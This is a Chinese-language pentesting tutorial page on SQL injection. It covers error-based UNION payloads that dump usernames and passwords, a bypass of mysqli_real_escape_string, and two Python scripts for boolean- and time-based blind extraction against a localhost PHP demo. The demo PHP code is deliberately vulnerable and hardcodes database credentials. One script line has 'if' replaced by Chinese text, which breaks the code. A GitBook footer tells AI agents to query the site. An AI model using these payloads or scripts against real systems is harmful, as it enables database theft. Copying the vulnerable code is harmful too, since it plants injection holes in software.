> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md).

# SQLi 技术

## 基于错误的 SQL 注入

> 基于错误的 SQL 注入会利用代码中的 SQL 错误来获取信息。例如，如果某个查询返回带有特定消息的错误，就可以利用这条消息获取有关系统的信息。

* 存在基于错误的 SQL 注入漏洞的网站，其 PHP 文件结构会类似于：

```php
<?php
	$server = "localhost";
	$username = "jordan";
	$password = "passwordDB";
	$database = "Jordan";
	// 连接到数据库
	$conn = new mysqli($server, $username, $password, $database);
$id = $_GET['id'];
$data = mysqli_query ($conn, "select username from users where id = '$id'") or die (mysqli_error($conn));
$response = mysqli_fetch_array($data);
echo $response['username'];
?>

```

通过执行以下操作验证漏洞 **sleep** 在 URL 中：

```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -

```

要确定列数，请使用 **order by** 直到你不再得到相同的错误：

```bash
http://localhost/searchUsers.php?id=3' order by 4-- -

```

<figure><img src="/files/0bd90d29606c809e08da2ea4b79fb9c10889f93c" alt=""><figcaption></figcaption></figure>

一旦知道列数，就使用 **union select** 来验证漏洞：

```bash
http://localhost/searchUsers.php?id=3' union select 1-- -

```

如果上一步返回了 ID，请使用一个不存在的 ID，并 **union select** 以获取当前使用的数据库名称：

```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -

```

要列出所有现有数据库：

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -

```

<figure><img src="/files/5f4ecbbba533a42e9c60620628736a92e932e936" alt=""><figcaption></figcaption></figure>

一旦知道所有数据库的名称，就使用该名称（Jordan）进行筛选并查看表：

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan'  -- -

```

<figure><img src="/files/be419b9a2b56382af8088aebfb93d365f64cb78d" alt=""><figcaption></figcaption></figure>

同样地，针对表“users”，你可以查看列：

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -

```

<figure><img src="/files/ef5c4a94392e04aa34c8b723cf4a5536fc51e22a" alt=""><figcaption></figcaption></figure>

要列出这些列（用户名和密码）：

```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -

```

<figure><img src="/files/0f5fdbddf6e763b09e2a48c2c408b82415e6ea09" alt=""><figcaption></figcaption></figure>

要查看完整集合：

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -

```

<figure><img src="/files/2b9fb3b12126d6690c69dbdb1ce71995025e7f23" alt=""><figcaption></figcaption></figure>

## 带有清理的 SQL：“mysqli/\_real/\_escape/\_string”

在许多情况下，PHP 代码会使用以下方法进行少量清理 **mysqli/\_real/\_escape/\_string**。不过，如果 ID 中的引号位置不对，这种做法可以被绕过。

```php
<?php
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query ($conn, "select username from users where id = $id");
?>

```

在这种情况下，你可以无需单引号执行相同的操作：

```bash
http://localhost/searchUsers.php?id=9983 union select database()

```

## 基于布尔值或基于时间的 SQL 注入：

> 基于时间的 SQL 注入使用一个执行时间很长的查询来获取信息。例如，如果某个查询在表中执行搜索，并且在请求中加入了延迟，那么就可以利用这个延迟获取额外信息。

***

> 基于布尔值的 SQL 注入使用带有布尔表达式的请求来获取额外信息。例如，带有布尔表达式的查询可用于判断数据库中是否存在某个用户。

***

在许多情况下，网站会重定向到某个页面 **404 未找到** 如果 ID 表示它不存在。下面是使用以下函数的代码示例 **http/\_response/\_code**:

```php
<?php
if (! isset($response['username'])){
	http_response_code(404);
}
?>

```

状态码的视觉示例 **404 未找到** 和 **200 OK** 替换为 **curl** 如果查询错误或正确：

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"

```

<figure><img src="/files/8e4999613e0b163365c42865a53681a2726e7dc0" alt="" width="563"><figcaption></figcaption></figure>

因此，对于盲注攻击，可以使用两种技术：条件判断或时间延迟。

### 基于布尔值的 SQL 注入

发送一个尝试使用不存在 ID 的请求 **或 1 = 1**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"

```

<figure><img src="/files/e95ba6ab52caf4ae3edc838487eaa46333dc72e0" alt="" width="563"><figcaption></figcaption></figure>

使用下面的 Python 脚本，你可以利用这个安全漏洞访问数据库。在这个示例中，脚本会提取用户名和密码（文件必须根据 URL、表名、列、数据库等进行修改，如前所述，通过修改变量 **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 正在退出... /n")
    sys.exit(1)
# SQLi 技术
signal.signal(signal.SIGINT, def_handler)
# SQLi 技术
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("暴力破解")
    p1.status("暴力破解过程开始")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
            p1.status(sqli_url)
            r = requests.get(sqli_url)
            if r.status_code == 200:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/79e715afe4ffd9257c029b63bf702fac8ec4e4c6" alt="" width="563"><figcaption></figcaption></figure>

### 基于时间的 SQL 注入

发送一个尝试使用不存在 ID 的请求，或者 **sleep (0.35)**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"

```

使用下面的 Python 脚本，你可以利用这个安全漏洞访问数据库。在这个示例中，脚本会列出数据库的名称（文件必须根据 URL、表名、列、数据库等进行修改，如前所述，通过修改变量 **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 正在退出... /n")
    sys.exit(1)
# SQLi 技术
signal.signal(signal.SIGINT, def_handler)
# SQLi 技术
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("暴力破解")
    p1.status("暴力破解过程开始")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
            p1.status(sqli_url)
            time_start = time.time()
            r = requests.get(sqli_url)
            time_end = time.time()
            如果 time_end - time_start > 0.35:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/2e26b4296327bdb0ed0e1c62aece72690f8ced84" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
